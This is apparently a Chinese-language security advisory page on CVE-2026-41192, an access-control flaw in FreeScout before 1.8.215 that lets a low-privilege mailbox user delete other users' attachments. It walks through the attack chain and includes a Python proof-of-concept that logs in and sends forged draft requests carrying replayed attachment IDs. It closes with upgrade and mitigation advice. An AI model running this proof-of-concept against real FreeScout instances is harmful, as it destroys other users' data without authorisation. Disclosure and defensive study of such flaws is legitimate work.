IPBUF安全漏洞报告
English
CVE-2026-41192 CVSS 7.1 高危

CVE-2026-41192 FreeScout 附件删除漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-41192
漏洞类型
访问控制失效
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FreeScout

相关标签

FreeScout越权删除IDOR访问控制失效高危漏洞

漏洞概述

FreeScout是一款免费的自托管帮助台和共享邮箱软件。在1.8.215版本之前,该软件的回复和草稿功能存在安全漏洞。系统未能正确验证客户端提供的加密附件ID,导致攻击者可以利用这一缺陷,通过重放从可见会话中获取的附件ID,并发送伪造的保存草稿请求,从而直接调用删除函数。这允许具有低权限的邮箱用户删除其他用户的附件文件和数据库记录,破坏数据完整性。厂商已在1.8.215版本中修复了此问题,建议受影响用户尽快升级。

技术细节

该漏洞的核心成因在于FreeScout在处理附件管理逻辑时,未能实施严格的访问控制校验。在受影响版本中,系统通过`load_attachments`接口向客户端展示会话附件时,会返回经过加密的附件ID。然而,在后续的保存草稿或回复流程中,服务端盲目信任客户端提交的`attachments_all[]`数组。系统逻辑规定,凡是存在于该数组但未出现在保留列表中的ID,均会被解密并直接传入`Attachment::deleteByIds()`函数执行物理删除。

攻击者利用这一逻辑缺陷,首先以普通邮箱用户身份浏览包含目标会话的页面,前端代码会加载并暴露该会话所有附件的加密ID。接着,攻击者截获这些ID,并在向`save_draft`端点发送请求时,将其恶意填入待删除列表中。由于服务端仅基于ID存在与否进行判断,未验证请求发起者是否为附件所有者,导致攻击者能够成功调用删除接口,移除他人的附件文件及数据库记录。这种漏洞属于典型的越权访问,危害数据完整性。

攻击链分析

STEP 1
步骤1:信息收集
攻击者以普通用户身份登录FreeScout系统,访问包含目标附件的对话页面。
STEP 2
步骤2:获取加密ID
通过分析前端响应或调用`load_attachments`接口,获取目标附件的加密ID。
STEP 3
步骤3:构造恶意请求
攻击者向`save_draft`接口发送请求,将窃取的加密ID放入`attachments_all[]`参数,并将保留列表置空。
STEP 4
步骤4:执行删除
服务端解密ID并调用`Attachment::deleteByIds()`,导致原始附件文件和记录被删除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "https://example.com/freescout" login_email = "[email protected]" login_pass = "password" conversation_id = 123 # The encrypted ID obtained from viewing another user's conversation via load_attachments stolen_encrypted_id = "eyJpdiI6..." def login(): session = requests.Session() login_data = {"email": login_email, "password": login_pass} resp = session.post(f"{target_url}/login", data=login_data) if resp.status_code == 200: print("[+] Logged in successfully") return session return None def exploit_delete_attachment(session): # The vulnerability lies in the save_draft endpoint trusting the attachments_all parameter payload = { "conversation_id": conversation_id, "body": "This is a draft", "cc": "", "bcc": "", "attachments_all[]": [stolen_encrypted_id], # Malicious injection of stolen ID "attachments_retained": [] # Empty retained list forces deletion of IDs in 'all' } print(f"[*] Attempting to delete attachment using stolen ID: {stolen_encrypted_id}") resp = session.post(f"{target_url}/api/v1/drafts", data=payload) # Endpoint may vary based on implementation if resp.status_code == 200: print("[+] Request sent successfully. Check if attachment is deleted.") else: print(f"[-] Request failed with status {resp.status_code}") if __name__ == "__main__": s = login() if s: exploit_delete_attachment(s)

影响范围

FreeScout < 1.8.215

防御指南

临时缓解措施
目前官方已发布修复版本,请立即将FreeScout升级至1.8.215或更高版本。在升级前,应严格限制非必要用户的邮箱访问权限,特别是限制用户访问包含敏感附件的对话。同时,可以通过部署Web应用防火墙(WAF),监控包含异常`attachments_all`参数结构的请求,以临时缓解漏洞被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表